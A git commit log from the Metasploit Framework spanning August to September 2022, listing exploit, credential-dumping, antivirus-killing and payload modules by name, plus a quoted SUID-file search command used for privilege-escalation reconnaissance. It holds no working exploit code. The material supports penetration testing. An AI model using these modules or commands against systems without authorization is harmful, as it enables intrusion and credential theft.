Grant Willcox 0e90f67546 Land #17055, add new reference to bitbucket module 2022-09-22 16:51:46 -05:00
space-r7 18efef4b76 add documentation for Git mixin 2022-09-22 16:45:43 -05:00
Spencer McIntyre 650be83ebb More rubocop fixes and switch to Tempfile 2022-09-22 17:21:51 -04:00
space-r7 dd11156922 add new reference to bitbucket module 2022-09-22 16:14:18 -05:00
Jeffrey Martin 96d291121b use model validator instead of setup check 2022-09-22 14:49:09 -05:00
Spencer McIntyre 59570336bd Don't call #generate_stage in single payloads
Single payloads should be using #generate because they are not staged.
2022-09-22 14:45:54 -04:00
Spencer McIntyre 74ca962197 Bump metasploit-payloads to 2.0.96
Pulls in:
  * rapid7/metasploit-payloads#585
  * rapid7/metasploit-payloads#587
2022-09-22 13:35:29 -04:00
Metasploit acc4f2d378 automatic module_metadata_base.json update 2022-09-22 12:13:07 -05:00
Spencer McIntyre 83de0924f0 Move #generate_stage to #generate for singles 2022-09-22 12:55:41 -04:00
cgranleese-r7 c74f480177 Land #17049, enum_domain_group_users module clean up 2022-09-22 17:51:12 +01:00
Spencer McIntyre 2ca6c3d5e5 Land #17027, Add in docs site to banner 2022-09-22 12:21:49 -04:00
cgranleese-r7 ed98ba5cf8 Land #17052, Fix openssl unsafe legacy renegotiation disabled error 2022-09-22 16:56:35 +01:00
Metasploit 5fa0d364ff automatic module_metadata_base.json update 2022-09-22 10:39:32 -05:00
Redouane NIBOUCHA 8b601c9b17 If ForceExploit is set, skip calling module_check 2022-09-22 17:33:24 +02:00
Niboucha Redouane 93cad400e8 Update error message if the kernel offsets are not supported
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-09-22 17:28:36 +02:00
cgranleese-r7 0029628db8 Land #17051, wmic_command module cleanup 2022-09-22 16:17:33 +01:00
Metasploit ad9fa24942 automatic module_metadata_base.json update 2022-09-22 10:12:31 -05:00
Jack Heysel 12f3325f3e Land #16732, VIDIdial Multiple SQLi
This PR adds a module which exploits several
authenticated sqli in VICIdial
2022-09-22 10:47:42 -04:00
bcoles ce48afd0db wmic_command: Cleanup 2022-09-23 00:25:13 +10:00
adfoster-r7 cc29266df5 Fix openssl unsafe legacy renegotiation disabled error 2022-09-22 14:16:12 +01:00
bcoles 9eab7eadab enum_domain_group_users: Cleanup 2022-09-22 17:05:19 +10:00
bcoles eef42884e0 enum_tokens: Cleanup 2022-09-22 12:04:24 +10:00
Spencer McIntyre 095a861783 Convert REG_DWORD and REG_QWORD values to integers 2022-09-21 17:14:47 -04:00
h00die 6d608ea41e vicidial sqli module docs update 2022-09-21 16:57:18 -04:00
h00die eb516f402e wifi mouse doc updates 2022-09-21 16:38:50 -04:00
h00die 32402c0e6d wifi mouse doc updates 2022-09-21 16:35:08 -04:00
Grant Willcox 605db0160d Fix up documentation 2022-09-21 15:02:04 -05:00
Metasploit f608475f72 automatic module_metadata_base.json update 2022-09-21 12:30:22 -05:00
skylerknecht 354be473a3 Change how bof arguments are processed 2022-09-21 13:25:45 -04:00
Spencer McIntyre 415383b48d Land #17042, Add exploit for CVE-2022-36804 2022-09-21 13:07:32 -04:00
space-r7 8d2b182c7b add cmd stager flavors and bad characters 2022-09-21 10:54:32 -05:00
space-r7 77d1328c43 add module description 2022-09-21 08:38:18 -05:00
Spencer McIntyre 0c5377b808 Consolidate registry value conversion logic 2022-09-21 09:06:58 -04:00
Metasploit 22ed4b4058 automatic module_metadata_base.json update 2022-09-21 07:32:25 -05:00
Christophe De La Fuente 4943d86ec6 Land #16989, Unified Remote RCE 2022-09-21 14:06:33 +02:00
space-r7 f2e003cdb0 add documentation 2022-09-20 18:45:48 -05:00
space-r7 34a6671c2d update module to support auth & additional target 2022-09-20 18:45:14 -05:00
h00die 9e6c172dd4 unified remote review 2022-09-20 16:44:05 -04:00
Spencer McIntyre d82774be59 Test and handle REG_QWORD 2022-09-20 16:31:54 -04:00
Spencer McIntyre 2654752585 Fix REG_EXPAND_SZ correctly 2022-09-20 16:31:47 -04:00
h00die 0bcdc3fadb idrac login updates 2022-09-20 16:20:24 -04:00
Metasploit dbabe76e76 automatic module_metadata_base.json update 2022-09-20 13:52:51 -05:00
Grant Willcox 98aea3f2ae Land #17002, Msf::Post::Windows: Replace load_extapi with ExtAPI capability check 2022-09-20 13:29:45 -05:00
Grant Willcox 3366179697 Add in guard clauses to wmic_command to handle sessions without sysinfo available. 2022-09-20 13:09:36 -05:00
Grant Willcox 38ab0c6ddd Redo guard clauses to be more appropriate 2022-09-20 12:23:25 -05:00
Grant Willcox f19cc376d7 Add additional guard checks to libraries to handle edge cases introduced when using shell sessions or other sessions that don't support RailGun. Also import the command definitions so that non-Meterpreter sessions can actually check the command ID's. 2022-09-20 11:45:31 -05:00
space-r7 9738f23b51 add cmdstager 2022-09-20 10:37:10 -05:00
Jeffrey Martin c540d6b6f4 Land #17040, Remove sqlite3 Gemfile.lock platform 2022-09-20 08:52:00 -05:00
adfoster-r7 59923850ee Land #17036, Set @peer_info in #initialize 2022-09-20 12:02:07 +01:00
adfoster-r7 eaf685ae28 Remove sqlite3 Gemfile.lock linux platform metadata 2022-09-20 11:07:08 +01:00
Metasploit 2ee666a5ec automatic module_metadata_base.json update 2022-09-19 17:55:24 -05:00
Grant Willcox bd4a062e5f Land #17023, Fix #16999 by using a compatible default action 2022-09-19 17:33:01 -05:00
Grant Willcox 5d7c7b0a09 Update documentation and change up the code to use action.name vs datastore['ACTION'] since that is no longer populated 2022-09-19 17:31:51 -05:00
space-r7 391e5cc891 add check method, repo search 2022-09-19 17:28:17 -05:00
Spencer McIntyre 7510d37b0c Land #17035, Add tests for new custom stager
add payload tests for new windows custom stager
2022-09-19 16:22:58 -04:00
h00die 5c35a8d3fd remove bad ref 2022-09-19 16:07:52 -04:00
Metasploit c0de5a37d5 automatic module_metadata_base.json update 2022-09-19 13:08:50 -05:00
bwatters 88f14950a0 Land #16688, Add Mimipenguin
Merge branch 'land-16688' into upstream-master
2022-09-19 12:43:16 -05:00
Spencer McIntyre 6c2b441d10 Fix #16684, Set @peer_info in #initialize
This will fail though if #rstream has already been closed which can be
the case when the socket is serving an HTTP request. This attempts to
proactively cache the information and store it for later use.
2022-09-19 13:28:49 -04:00
Grant Willcox ad697c9f47 Add in docs site to banner 2022-09-19 10:09:48 -05:00
Jeffrey Martin 8b53b0d878 add payload tests for new windows custom stager 2022-09-19 08:28:25 -05:00
h00die 7fe4f282e4 add cve 2022-09-18 19:03:54 -04:00
h00die 271171f6d2 unified now with invisible feature 2022-09-18 19:02:59 -04:00
space-r7 664a3eb89c bump mettle to 1.0.20 2022-09-16 18:20:06 -05:00
Metasploit ee4e6d1e27 automatic module_metadata_base.json update 2022-09-16 18:09:03 -05:00
adfoster-r7 9b59698cbf Land #17029, Add getsystem module docs 2022-09-16 23:46:51 +01:00
Spencer McIntyre eae1adb8bb Add getsystem module docs 2022-09-16 14:59:50 -04:00
Jeffrey Martin 9b2cda346d guard parsing error and fail early 2022-09-16 12:35:38 -05:00
Jeffrey Martin 581aa2c34a enable user defined accepted repsonse codes
* login scanner object expects an array of codes and set defaults
* login scanner limits response codes to 2XX and 3XX code
* parsing to convert OptString is handle in the consuming module
2022-09-16 12:21:14 -05:00
Grant Willcox d9fc9fac7c Update README.md to modernize the links to point to the new docs.metasploit.com website, remove links that weren't being used, and improve explanations in some locations 2022-09-16 11:22:44 -05:00
Metasploit e0dcea8880 automatic module_metadata_base.json update 2022-09-16 08:42:05 -05:00
cgranleese-r7 55119aaac7 Land #16940, Rewrite datastore, and add support for option fallback lookups 2022-09-16 14:19:19 +01:00
adfoster-r7 3a281234df Add feature flagged datastore rewrite, with support for option fallback lookups 2022-09-16 12:59:02 +01:00
cn-kali-team 35a33c9710 rename,delete useless code 2022-09-16 11:38:48 +08:00
Metasploit dc4ebabe62 automatic module_metadata_base.json update 2022-09-15 18:30:32 -05:00
Grant Willcox cee6b6a111 Land #17003, enum_patches: Cleanup, print patches as table, store patches as CSV 2022-09-15 18:07:11 -05:00
Grant Willcox d278d6aa81 Add in missing require to make module work, then fix up some minor things observed during review process 2022-09-15 17:44:25 -05:00
Metasploit 31613b9d01 Bump version of framework to 6.2.19 2022-09-15 16:28:10 -05:00
Spencer McIntyre 4f46905e3c Fix #16999 by using a compatible default action
Fixes the default action, fixes running on WOW64, applies rubocop
changes.
2022-09-15 17:10:51 -04:00
root 90221fd62d added ascii art and fixed typo for bof_cmd_opts 2022-09-15 16:06:25 -04:00
Spencer McIntyre 37d3c296ad Add compiler support when mingw is available 2022-09-15 16:06:25 -04:00
Spencer McIntyre 4e0111f119 Refactor BofPack, raise an exception 2022-09-15 16:06:25 -04:00
Spencer McIntyre f7c3c50544 Apply rubocop changes 2022-09-15 16:06:25 -04:00
Spencer McIntyre 0f768b2a46 Add entry point validation 2022-09-15 16:06:25 -04:00
Spencer McIntyre 014e627696 Use multiple TLVs instead of load_and_run 2022-09-15 16:06:24 -04:00
skylerknecht 2f2651f768 Added support for identfying arguments provided without fstring 2022-09-15 16:06:24 -04:00
skylerknecht 07f5b2e108 Upgraded the tab complete 2022-09-15 16:06:24 -04:00
Spencer McIntyre 5c67938157 Rename some things that are not commands 2022-09-15 16:06:24 -04:00
Spencer McIntyre 0f16376674 Validate architecture compatibility 2022-09-15 16:06:24 -04:00
root 69ee6b72d3 Update how arguments are completed and passed 2022-09-15 16:06:24 -04:00
root e8bfb7ed41 Cleaned up print statements, added banner 2022-09-15 16:06:16 -04:00
Kevin Clark 107a701247 wip: bofloader client extension 2022-09-15 16:05:55 -04:00
h00die bf1ebe19a6 cve for wifi mouse 2022-09-15 15:12:35 -04:00
alex 27744edbb3 Fix dwelch-r7 comments: use fail_with and change return value in tls_enabling 2022-09-15 20:13:25 +03:00
Metasploit 857743af50 automatic module_metadata_base.json update 2022-09-15 11:28:39 -05:00
c0rs aa87ce7018 Fix option names 2022-09-15 19:02:25 +03:00
c0rs 0216735a83 Fix option name and description
Co-authored-by: dwelch-r7 <Dean_Welch@rapid7.com>
2022-09-15 18:58:32 +03:00
Christophe De La Fuente 52ff168c5e Land #16914, Add PAN-OS auth command injection module (CVE-2020-2038) 2022-09-15 17:58:07 +02:00
dwelch-r7 cdd9a33151 Land #16998, Fix iax2 module crash 2022-09-15 16:55:09 +01:00
Spencer McIntyre 0fd3a82126 Land #17014, Increase timeout for laravel check
Increase timeout for laravel rce check method
2022-09-15 11:41:07 -04:00
Metasploit 5e4b283766 automatic module_metadata_base.json update 2022-09-15 10:39:48 -05:00
adfoster-r7 b06b39dc71 Land #17013, Update Jenkins Login For Newer Versions 2022-09-15 16:17:38 +01:00
Spencer McIntyre b572437742 Land #16930, dev_checks: Add additional checks
scripts/resource/dev_checks: Add additional development-related modules
2022-09-15 10:50:00 -04:00
Jack Heysel 8d5171b810 Removed unnecessary file 2022-09-15 10:47:26 -04:00
Jack Heysel b37b91c233 Responded to comments 2022-09-15 10:45:11 -04:00
jheysel-r7 49cc431660 Update modules/exploits/linux/http/panos_op_cmd_exec.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-15 10:29:28 -04:00
bcoles d476a64262 Msf::Post::Windows: Replace load_extapi with ExtAPI capability check 2022-09-16 00:10:00 +10:00
Spencer McIntyre 37ef992eb7 Land #17018, Add cidr mask defaults to routes
Add cidr mask defaults to the route add command. This fixes a regression
introduced in #9787.

Fixes #17016.
2022-09-15 09:22:45 -04:00
Grant Willcox e7d2fdfe0a Rename module and fix up some issues with documentation 2022-09-14 17:03:42 -05:00
h00die 59d79e3149 review comments for unified remote 2022-09-14 16:52:58 -04:00
h00die eac559df1f updates to idrac json handling 2022-09-14 16:39:19 -04:00
Jeffrey Martin bc948d0412 allows redirect on login as success with http 2022-09-14 14:50:10 -05:00
adfoster-r7 c7d92c3ed7 Add cidr mask defaults to route add command 2022-09-14 20:36:54 +01:00
jheysel-r7 2fcea3763f Update modules/exploits/linux/http/panos_op_cmd_exec.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-14 12:59:56 -04:00
jheysel-r7 9b6b70cbf3 Update modules/exploits/linux/http/panos_op_cmd_exec.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-14 12:50:07 -04:00
jheysel-r7 d001bf079e Update modules/exploits/linux/http/panos_op_cmd_exec.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-14 12:49:52 -04:00
Metasploit 811c8e3b57 automatic module_metadata_base.json update 2022-09-13 17:04:46 -05:00
Jeffrey Martin b0cffad7b9 improve login result checks
When a login to a remote http service response returns a 3XX response code
consider the authentication to have been successful.
2022-09-13 16:58:36 -05:00
Grant Willcox fcd137ba41 Land #16828, SuiteCRM auth SQLi auxiliary module 2022-09-13 16:42:08 -05:00
adfoster-r7 c39b437f01 Increase timeout for laravel rce check method 2022-09-13 22:36:53 +01:00
Grant Willcox a7b049510b Relocate documentation file to proper location and update documentation a little bit to explain some cases
Update documentation with proper explanation of how to add users since last one was adding users to the wrong table.
2022-09-13 16:12:21 -05:00
Grant Willcox 0d639b99bb Initial attempt at blind_dump_data improvements
Add in fully binary search orientated version of blind_dump_data
2022-09-13 16:12:16 -05:00
Grant Willcox 32df4cdeee Add in ability to determine length of query using binary tree approach 2022-09-13 16:11:01 -05:00
Jack Heysel 6c27c05d10 parent 3892d29cc5
author Jack Heysel <jack_heysel@rapid7.com> 1658964871 -0400
committer Grant Willcox <gwillcox@rapid7.com> 1663093141 -0500
gpgsig -----BEGIN PGP SIGNATURE-----

 iQIzBAABCgAdFiEEMZiWHhSP9eUn4xpf014FwPK4HoMFAmMgyZUACgkQ014FwPK4
 HoP5RxAAjvQs9/bVQSVJXMNVxa5J3Tefi+BnkJyxUAABsYJR/KpKfHMzGxhdA9ED
 Rc48cKuaGRscorSdNZJPtRMs1JlrvYLbovTomUoOuyZypKInNdkIhjo24WyandBX
 5f4AgmsKFtnfFnxAHQ/jsq25Sa0hgDS/x64q1+aFMupZzm7o9xJrMokqPIu8C1hC
 AhdV1jx3xP7jTpTz2YDOUPM3WNZINFNJHZU5JtdCIfciJX1oCbkEdzUZFiiZg6Ui
 fZEUDAVQrkZfhcTrLYBBTOgalMjmM4gM9q/X0vHTm6XbEuNN69diw7t3Z7Qa2maY
 FU3N8E5mDy2ebpRWF4FOHa3KwEcUwpx17/sIJOfhlFRFazxVDR6DGch4GQg0r5lz
 VVN7GEMPqepyCJcBTaagpeeyw/pM/peysrC04amd5ash/6sQ5whS8xIJW1jeN/nf
 rVTwJs1kzy28t0wLqeHB+j4OZNm+hqZYrZ0A9VcJT5EBArG8Zlgr+xXcFXhONBk8
 GZe/yiMsHPPv+vfSvOo/JVZAbIXpcFRzHjbs1JjFVQq635bWceGWs72xHNEKlssC
 MtaL1h0wzV7BilBL2ohMY0ou/gDTqWao3xYGvqfxgYBy/6IQCcV2SmPYLNel+VEt
 sc7fqO5R+R/HDUWHv1bEfYKebgaX6pqrzgrqaxwGd6vmSHEEslU=
 =BXw+
 -----END PGP SIGNATURE-----

Initial changes

Add in documentation improvements for installation

Update Docker install instructions again and also fix a bug with too strict checking on a cookie

Move module into gather type module, remove the scanner import, and update the documentation accordingly so that the check method can work

Updated docs
2022-09-13 16:08:57 -05:00
Spencer McIntyre 0dcfe72614 Use the standard Linux stager 2022-09-13 16:10:48 -04:00
c0rs 9445731b7e Change author mail 2022-09-13 22:50:00 +03:00
Spencer McIntyre 5e04ece15b Support newer versions of Jenkins
This retains backwards compatibility
2022-09-13 15:08:23 -04:00
Jack Heysel 89fadf69a7 Remove require pry 2022-09-13 13:42:26 -04:00
Jack Heysel f11e5c162b Rubocop 2022-09-13 13:21:18 -04:00
Jack Heysel 1c99daa836 Updated error handling 2022-09-13 12:40:59 -04:00
adfoster-r7 e1be26f268 Land #17011, Weekly dependency updates for Gemfile.lock 2022-09-13 16:41:34 +01:00
c0rs 03441a72c6 RuboCop Fixes for module Veritas Backup Exec Agent Remote Code Execution 2022-09-13 18:27:21 +03:00
c0rs efbe06f944 Add module Veritas Backup Exec Agent Remote Code Execution 2022-09-13 18:18:52 +03:00
Grant Willcox 3892d29cc5 Land #17008, Update rpc_core.rb to add evasion modules statistics 2022-09-13 10:09:45 -05:00
Jeffrey Martin 1aa5e2f38b update lint to ruby 2.7 2022-09-13 09:43:37 -05:00
Metasploit 564b393c6d Weekly dependency updates for Gemfile.lock 2022-09-13 09:30:10 -05:00
Metasploit 873bf85474 automatic module_metadata_base.json update 2022-09-13 09:29:25 -05:00
Christophe De La Fuente 3c9b57c415 Land #16911, enum_ms_product_keys: Cleanup and support non-meterpreter sessions 2022-09-13 16:06:55 +02:00
Metasploit cd2fdc3d5a automatic module_metadata_base.json update 2022-09-13 08:27:30 -05:00
Spencer McIntyre 6467fb3a8f Land #16906, enum_snmp improvements
enum_snmp: Cleanup and support non-Meterpreter sessions
2022-09-13 09:05:15 -04:00
bcoles a0030ac667 enum_snmp: Cleanup and support non-Meterpreter sessions 2022-09-13 17:45:10 +10:00
Emilio Panti 228e89497e Update the RDoc 2022-09-13 09:05:22 +02:00
Emilio Panti a0fbfff731 Update the RDoc 2022-09-13 09:01:04 +02:00
cn-kali-team 2cca50956b MobaXtrem 2022-09-13 08:14:57 +08:00
jheysel-r7 8a6c2dc896 Update modules/exploits/linux/http/panos_op_cmd_exec.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-12 17:35:25 -04:00
jheysel-r7 92068e3c02 Update modules/exploits/linux/http/panos_op_cmd_exec.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-12 17:34:57 -04:00
Metasploit 17ec271333 automatic module_metadata_base.json update 2022-09-12 15:07:08 -05:00
Grant Willcox 648236142f Land #16929, enum_services: Cleanup and support non-Meterpreter sessions 2022-09-12 14:44:23 -05:00
Grant Willcox 05283d30a3 Fix up edge case checks 2022-09-12 14:11:04 -05:00
Emilio Panti 6650a8b852 Update rpc_core.rb 2022-09-12 15:16:00 +02:00
cn-kali-team 91be73b077 lint 2022-09-12 21:08:48 +08:00
cn-kali-team 2726f04e43 Gather_RedisDesktopManager_Password 2022-09-12 20:40:49 +08:00
bcoles ebaca4cd48 enum_patches: Cleanup, print patches as table, store patches as CSV 2022-09-12 13:50:32 +10:00
bcoles 12e68a05c5 Post::Windows::LDAP: Replace load_extapi with ExtAPI capability check 2022-09-11 22:11:30 +10:00
bcoles 302bcfbc03 enum_domain_tokens: Cleanup and fix group member retrieval 2022-09-10 13:54:39 +10:00
Grant Willcox b5686dc7ca Update documentation to improve some explanations 2022-09-09 15:51:31 -05:00
bcoles 8dc4107bed enum_services: Cleanup and support non-Meterpreter sessions 2022-09-09 15:09:47 -05:00
Grant Willcox 2e89006c1c Land #16928, Msf::Post::Windows::Service: Multiple bug and consistency fixes 2022-09-09 13:49:17 -05:00
Grant Willcox 3e8fbb665f Move meterpreter_service_list to be a private method to align with expectations of when function will be used and to prevent need for adding additional validation code 2022-09-09 12:25:21 -05:00
Grant Willcox e4c7cadc86 Add RuboCop documentation for meterpreter_service_list 2022-09-09 12:25:08 -05:00
h00die 803fff9003 wifi remote remove unused code 2022-09-09 06:06:52 -04:00
h00die 66bbe98f5f wifi remote with better cmd stagers 2022-09-09 05:57:36 -04:00
adfoster-r7 9519f79524 Fix iax2 module crash 2022-09-09 01:40:04 +01:00
h00die ae91cfa9c5 unified_remote exploit 2022-09-08 17:09:31 -04:00
Grant Willcox 51b6d0b596 Tidy up code and fix up some edge cases on data validation. 2022-09-08 16:01:04 -05:00
bcoles fa087768ef Msf::Post::Windows::Service: Multiple bug and consistency fixes
* Define service types as constants.

* Ensure service startup type is always returned as Integer.

* Check for supported stdapi commands, rather than attempt to load ExtAPI if it is not already loaded.

* Fix a threading issue for Meterpreter sessions when ExtAPI was not loaded, causing inconsistent results with some services missing sometimes.

* Include interactive services (0x110 and 0x120) in service listing.

* Support service listing and service information retrieval for non-Meterpreter sessions.
2022-09-08 16:01:03 -05:00
Metasploit 68be75f2dc automatic module_metadata_base.json update 2022-09-08 14:23:02 -05:00
Spencer McIntyre ec4c45f145 Land #16521, Add custom stage 2022-09-08 14:44:32 -04:00
Grant Willcox bf19b722b1 Land #16953, enum_domain: Cleanup and support non-Meterpreter sessions 2022-09-08 13:37:17 -05:00
Grant Willcox 7869e92298 Fix up error handling for some failure cases 2022-09-08 13:35:22 -05:00
bcoles 290d70bd19 enum_domain: Cleanup and support non-Meterpreter sessions 2022-09-08 12:34:37 -05:00
Spencer McIntyre 80e4abe2b4 Support skipping tests and skip views on XP
XP doesn't support the /reg: command so skip those tests.
2022-09-08 13:12:01 -04:00
Metasploit 638c9db7bb Bump version of framework to 6.2.18 2022-09-08 12:05:06 -05:00
Spencer McIntyre 61a2bde27d Fix and test writing REG_EXPAND_SZ values 2022-09-08 12:18:28 -04:00
Metasploit 5e356598ac automatic module_metadata_base.json update 2022-09-08 09:09:28 -05:00
space-r7 beb08e1130 add arm support 2022-09-08 08:48:33 -05:00
bwatters 9b76ecf6c7 Land #16952, Add methods to retrieve domain / domain controller
Merge branch 'land-16952' into upstream-master
2022-09-08 08:27:55 -05:00
bwatters 2af5b22272 Land #16983, firefox_xpi_bootstrapped_addon: Add notes, description, references, docs
Merge branch 'alnd-16983' into upstream-master
2022-09-08 08:23:32 -05:00
bwatters 07aa024b21 Add custom session types and minor cleanups 2022-09-07 15:43:50 -05:00
Metasploit 3682f4dee9 automatic module_metadata_base.json update 2022-09-07 14:24:44 -05:00
Grant Willcox 446d891705 Land #16901, killav: Cleanup and support non-meterpreter sessions 2022-09-07 14:02:11 -05:00
Grant Willcox 9a8afda0a2 Fix check on length 2022-09-07 14:01:53 -05:00
Metasploit d0745ea2a7 automatic module_metadata_base.json update 2022-09-07 13:47:19 -05:00
bwatters 0279308905 updates per Spencer 2022-09-07 13:19:22 -05:00
Spencer McIntyre 11eef99efa Land #16973, Nim formatted byte array support
Add MSFvenom support for Nim shellcode
2022-09-07 14:15:26 -04:00
space-r7 a11569fc53 Land #16944, add Apach Spark RCE 2022-09-07 13:02:27 -05:00
space-r7 65906bbb87 add curl cmd stager flavor 2022-09-07 12:45:13 -05:00
Spencer McIntyre 3fa8c21e6d Bump rex-text to 2.0.45 2022-09-07 13:21:31 -04:00
husky 8646fd6e39 working on nim shellcode generator 2022-09-07 13:18:18 -04:00
space-r7 1a9e33265a fix typos 2022-09-07 11:27:56 -05:00
Spencer McIntyre eaf149ac21 Add a missing type to #type_to_s 2022-09-07 11:52:12 -04:00
Spencer McIntyre e75429a434 Handle nil from shell_registry_getvalinfo 2022-09-07 11:19:56 -04:00
Spencer McIntyre f37fdb994c Fix handling non-existant keys for Powershell
Powershell returns an empty string instead of `Error:` so when the
response doesn't match the expected pattern, treat it as not existing
and return nil. This is probably for the best since the string `Error:`
may be different on systems with a none English based locale.
2022-09-07 09:48:01 -04:00
Metasploit 21c01406c5 automatic module_metadata_base.json update 2022-09-07 08:41:00 -05:00
bwatters a289cf9759 Land #16968, Update deprecated parameter in enum_system.rb
Merge branch 'land-16968' into upstream-master
2022-09-07 08:17:04 -05:00
h00die-gr3y 6c1f7c2d8c removed unnecessary code 2022-09-07 09:40:11 +00:00
h00die c7b8ec7511 unified_remote exploit 2022-09-06 21:44:59 -04:00
Spencer McIntyre 79046c5259 Add a REG_BINARY test 2022-09-06 16:53:36 -04:00
Spencer McIntyre fb23d492a9 Fix shell registry commands
This fixues up the commands to pass the unit tests and addresses a few
inconsistencies.
2022-09-06 16:53:36 -04:00
Spencer McIntyre f1a7be6c49 Fix how REG_MULTI_SZ is handled 2022-09-06 16:53:30 -04:00
h00die-gr3y f71ec84f9e updated documentation 2022-09-06 19:36:11 +00:00
h00die-gr3y 797e450f4a updated timer code 2022-09-06 19:08:27 +00:00
Spencer McIntyre 7b12372d8f Land #16948, Add arguments for #run_sql
Change mssql.rb to support username, password and database specifications in
2022-09-06 14:34:24 -04:00
Grant Willcox ee664c42ac Fix logic error in mssql.rb 2022-09-06 13:07:39 -05:00
Spencer McIntyre b5203ad752 Land #16988, Fix typo in documentation links 2022-09-06 13:08:23 -04:00
Grant Willcox bb939ab8c8 Fix typo in documentation links 2022-09-06 11:20:46 -05:00
Jeffrey Martin e978ec3853 guard for all possible RubySMBError conditions 2022-09-06 09:12:19 -05:00
cgranleese-r7 22187537d9 Land #16861, Fix broken reverse ssh command shell 2022-09-06 11:09:48 +01:00
npm-cesium137-io 8eed4fb617 thycotic_secretserver_dump refinements
Significant refactor of exception handling: less 'fail_with', more
'return false'.

Optimized interactions with SQL for less code redundancy.

Removed references to LOOT_ONLY in the module info.

Various tweaks and bug fixes.
2022-09-05 11:00:12 -04:00
adfoster-r7 3df8404b1b Land #16975, Update Ubuntu 18.04 to ubuntu-latest in Github CI script 2022-09-05 15:07:21 +01:00
h00die c6d453f5b9 fix docs 2022-09-05 08:23:40 -04:00
h00die 3f7e0667f6 wifi mouse rce 2022-09-05 08:16:49 -04:00
bcoles a7d2145e8d firefox_xpi_bootstrapped_addon: Add notes, description, references, docs 2022-09-05 02:23:37 +10:00
h00die 8c4f151c73 update idrac login scanner to work with v8 and v9 2022-09-04 09:59:15 -04:00
H00die.Gr3y 19a396304d Update modules/exploits/linux/http/apache_spark_rce_cve_2022_33891.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-03 20:28:49 +04:00
Grant Willcox c28d172134 Fix review comments 2022-09-02 21:01:05 -05:00
Grant Willcox f99b3bedf0 Convert optional arguments into keyword arguments to allow positioning to be changed without affecting code 2022-09-02 21:01:02 -05:00
Grant Willcox 096cae81d5 Make initial changes to mssql.rb to support username, password and database specifications 2022-09-02 21:01:02 -05:00
Metasploit b87348267b automatic module_metadata_base.json update 2022-09-02 12:35:33 -05:00
Christophe De La Fuente 8ba621a291 Land #16923, Cisco ASA-X with FirePOWER Services Authenticated Command Injection (CVE-2022-20828) 2022-09-02 18:37:37 +02:00
Jake Baines 320bd944f0 Updated default creds. Properly used fail_with. Set meterpreter to fork. Some wording and code cleanup. 2022-09-02 08:44:04 -07:00
cgranleese-r7 3587c38687 Updates ubuntu 18.04 to ubuntu-latest 2022-09-02 16:33:30 +01:00
Metasploit 9e078420a4 Bump version of framework to 6.2.17 2022-09-02 09:14:48 -05:00
Grant Willcox 2966ec3504 Add in ruby/debug to Gemfile and also provide example of how to create a launch.json file to use it with vscode-rdbg 2022-09-01 13:35:08 -05:00
luisfso 3ddf761f4b Update enum_system.rb
the command "find / -xdev -type f -perm +6000 -perm -1 2> /dev/null" don't work in new linux systems

-perm +mode
       Deprecated,  old  way  of  searching  for  files with any of the permission bits in mode set.  You
       should use -perm /mode instead. Trying to use the  `+'  syntax  with  symbolic  modes  will  yield
       surprising results.  For example, `+u+x' is a valid symbolic mode (equivalent to +u,+x, i.e. 0111)
       and will therefore not be evaluated as -perm +mode but instead as the exact mode  specifier  -perm
       mode  and  so  it  matches files with exact permissions 0111 instead of files with any execute bit
       set.  If you found this paragraph confusing, you're not alone - just use -perm /mode.   This  form
       of  the  -perm test is deprecated because the POSIX specification requires the interpretation of a
       leading `+' as being part of a symbolic mode, and so we switched to using `/' instead.
2022-09-01 14:56:28 -03:00
space-r7 1e18013a9b update payload cached sizes 2022-08-30 10:15:36 -05:00
space-r7 97dc219064 bump mettle 2022-08-30 09:40:00 -05:00
space-r7 90c220a39f fix failing hash checks 2022-08-29 17:50:49 -05:00
npm-cesium137-io da43f9c069 Refactor thycotic_secretserver_dump MKII
Removed all logic around the isSalted column since I have no idea what
that flag is actually supposed to represent.

Further optimized Thycotic decryption method for efficiency.

Fixed where the revision digit was being truncated after converting
ss_build to float.

Removed the offline 'decrypt' action as it required setting a reserved
value for session in order to operate.

Minor tweaks & correct typos and formatting.

Updated documentation.
2022-08-29 11:45:18 -04:00
bcoles 15558fe27a Post::Windows::Accounts: Add get_domain_name method 2022-08-28 23:13:18 +10:00
bcoles 6471ffb225 Post::Windows::Accounts: Add get_primary_domain_controller method 2022-08-28 23:12:15 +10:00
bcoles d457ac768d Post::Windows::Accounts: Fix domain_controller? for low priv sessions 2022-08-28 23:10:41 +10:00
h00die-gr3y d38494498a added linux dropper and code review suggestions 2022-08-27 17:45:47 +00:00
npm-cesium137-io dbbccf43ef thycotic_secretserver_dump offline support
Added support for sessionless execution if the SESSION is set to -1.

Misc cleanup.
2022-08-27 13:12:31 -04:00
npm-cesium137-io be2a8e564f Refine thycotic_secretserver_dump
Added much-needed support for SQL integrated authentication.

Significant improvement to the decryption routine: better version
detection and less churning through faulty decryption attempts.

Various tweaks and optimizations based on feedback.

Lots of bug fixes.
2022-08-27 09:05:16 -04:00
H00die.Gr3y b8a514bb55 Update modules/exploits/linux/http/apache_spark_rce_cve_2022_33891.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-08-27 11:08:32 +04:00
H00die.Gr3y 3164967e07 Update modules/exploits/linux/http/apache_spark_rce_cve_2022_33891.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-08-27 10:39:43 +04:00
h00die-gr3y e8083c6fb1 commit module and documentation 2022-08-26 15:39:18 +00:00
h00die-gr3y 21c4e3ce3d commit module and documentation 2022-08-26 15:05:39 +00:00
npm-cesium137-io d3ba830dc2 Refactor thycotic_secretserver_dump MKI
Re-worked version detection code after working with earlier builds of
Secret Server.

Removed the LastModifiedDate time stamp from the SQL query as it was not
available in any but late versions.

Added logic for dealing with SQL schema differences between versions.

Added support for earlier builds of Secret Server, including pre-10.4
instances, which use different encryption mechanisms.

Significant refactor of several methods to support legacy versions of
